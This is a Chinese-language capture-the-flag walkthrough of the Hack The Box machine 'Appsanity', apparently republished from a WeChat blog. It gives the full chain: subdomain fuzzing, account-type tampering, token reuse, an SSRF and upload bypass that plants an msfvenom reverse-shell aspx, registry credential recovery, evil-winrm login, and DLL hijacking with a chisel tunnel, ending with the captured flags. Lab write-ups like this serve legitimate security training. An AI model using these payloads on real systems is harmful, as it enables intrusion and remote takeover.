扫描靶机
nmap -sC -sV -sT -T4 -Pn 10.10.11.238
扫描出一个meddigi.htb域名,写进hosts,只有80跟443端口,先看看内容
这个一个在线预约医疗的网站,fuzz一下子域名
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://meddigi.htb/" -H "Host: FUZZ.meddigi.htb" --hc 404
找出了一个portal.meddigi.htb的子域名,进去看看
这好像是一个医生的登陆系统,回到首页,注册一下 ,然后登陆进去
注册后登陆后,可以看到这个一个预约的页面
测试这里没什么可以发现的,使用burpsuite抓包一下注册页面
可以看到POST包里面有个Acctype参数是=1的,将它修改成2,然后发包
发现可以插队,变成了cxk了,这里没什么可以利用的,查看一下后台
将主页的access_token复制粘贴过去,之前生的cxk医生的cookie
成功的进入后台,左边的选项栏里,Issue Prescriptions的选项里面有个url的表单,写进去本机ip,会读取内容
尝试生成shell读取
看来被阻止了,但是输入local的ip加8080端口,会出现一个表格,端口可以wfuzz或者burpsuite爆破
抓个包看一下
可以看到右边的显示出一条读取的路径,猜测有个LFI漏洞,继续看左边的选项栏,最底下是有个Upload report的选项,点进去是上传报告的
上传后,然后再次访问Issue Prescriptions,会出现用户名
可以断定他接受的格式是aspx,先抓包,然后通过ssrf原理,上传shell并且getshell,直接使用美少妇生成
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 -f aspx -o cxk.aspx
记得添加pdf绕过
成功拿到shell
成功拿到user flag:f9f94d8c629319544aaa48c7825cfbad,然后通过寻找,在C:inetpubExaminationPanelExaminationPanelbin底下有ExaminationManagement.dll文件
将该文件下载本机,然后使用dnspy反编译
可以看到右边的显示有个路径Software\MedDigi,这是注册表的路径使用reg命令读取
reg query HKLMSoftwareMedDigi
meterpreter > shell
Process 1968 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19045.3570]
Microsoft Corporation. All rights reserved.
c:windowssystem32inetsrv>reg query HKLMSoftwareMedDigi
reg query HKLMSoftwareMedDigi
HKEY_LOCAL_MACHINESoftwareMedDigi
EncKey REG_SZ 1g0tTh3R3m3dy!!
c:windowssystem32inetsrv>
现在得到一个密码,看到C盘的Users目录有几个users名字,进行fuzz一下
evil-winrm -i 10.10.11.238 -u devdoc -p '1g0tTh3R3m3dy!!'
试了几个,就是devdoc的用户能进
在C:Program FilesReportManagement找到一个exe的程序,下载本地然后进行逆向
0x1400139fd add byte [rax], al
0x1400139ff add byte [rcx + 0x76], al
str.Available_Commands:_backup:_Perform_a_backup_operation._validate:_Validates_if_any_report_has_been_altered_since_the_last_backup._recover__filename_:_Restores_a_specified_file_from_the_backup_to_the_Reports_folder._upload__external_source_:_Uploads_the_reports_to_the_specified_external_source.:
0x140013a00 .string "Available Commands:nbackup: Perform a backup operation.nvalidate: Validates if any report has been altered since the last backup.nrecover <filename>: Restores a specified file from the backup to the Reports folder.nupload <external source>: Uploads the reports to the specified external source.n" ; len=296
str.backup:
0x140013b28 .string "backup" ; len=7
0x140013b2f add byte [rdx + 0x61], al
str.Backup_operation_completed_successfully.:
0x140013b30 .string "Backup operation completed successfully.n" ; len=42
0x140013b5a add byte [rax], al
0x140013b5c add byte [rax], al
0x140013b5e add byte [rax], al
str.An_error_occurred_during_the_backup_operation.:
0x140013b60 .string "An error occurred during the backup operation.n" ; len=48
str.upload:
0x140013b90 .string "upload" ; len=7
0x140013b97 add byte [rax], ah
0x140013b99 add byte [rax], al
0x140013b9b add byte [rax], al
0x140013b9d add byte [rax], al
0x140013b9f add byte [rcx + 0x6e], cl
str.Invalid_command._Missing_parameter_after__upload_._Type__help__for_available_commands.:
0x140013ba0 .string "Invalid command. Missing parameter after 'upload'. Type 'help' for available commands.n" ; len=88
0x140013bf8 and eax, 0x73 ; reloc.WS2_32.dll_WSAStartup
0x140013bfd add byte [rax], al
0x140013bff add byte [rbx + 0x3a], al
str.C:_Program_Files_ReportManagement_Libraries:
0x140013c00 .string "C:Program FilesReportManagementLibraries" ; len=44
str..dll:
0x140013c2c .string ".dll" ; len=5
0x140013c31 add byte [rax], al
0x140013c33 add byte [rax], al
0x140013c35 add byte [rax], al
0x140013c37 add byte [rbp + 0x78], ah
str.C:_Program_Files_ReportManagement_Libraries:
0x140013c00 .string "C:Program FilesReportManagementLibraries" ; len=44
str..dll:
0x140013c2c .string ".dll" ; len=5
0x140013c31 add byte [rax], al
0x140013c33 add byte [rax], al
0x140013c35 add byte [rax], al
0x140013c37 add byte [rbp + 0x78], ah
str.externalupload:
0x140013c38 .string "externalupload" ; len=15
0x140013c47 add byte [rsi + 0x61], al
str.Failed_to_upload_to_external_source.:
0x140013c48 .string "Failed to upload to external source.n" ; len=38
0x140013c6e add byte [rax], al
0x140013c70 invalid
0x140013c71 add byte [rbx], ah
0x140013c74 add byte [rax], al
0x140013c76 add byte [rax], al
str.ReportManagementHelper:
0x140013c78 .string " ReportManagementHelper" ; len=48
str.Libraries:
0x140013ca8 .string " Libraries" ; len=24
str.c:_Windows_System32_cmd.exe:
从上面反编译可以看到,有100端口里面要用到的命令,如果upload的话在C:Program FilesReportManagementLibraries这个路径里面找externalupload.dll这个文件,先去那个路径看看那个dll文件
那个路径里面并没有那个dll文件,并且使用icacls命令查看该文件夹的属性,devdoc用户有写进去的权限,接下来提权,将100端口转发出去,然后生成恶意dll,上传,nc监听本地,输入upload命令触发恶意程序,随便 upload 命令啥都行, 提权Administrator。简称:“dll劫持”
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 -f dll -o externalupload.dll
chisel server --port 8888 --reverse
./chisel.exe client 10.10.14.107:8888 R:100:127.0.0.1:100
成功拿到root flag:5c9e7d816690055d617c919247af99c0
原文始发于微信公众号(Jiyou too beautiful):HTB-Appsanity笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论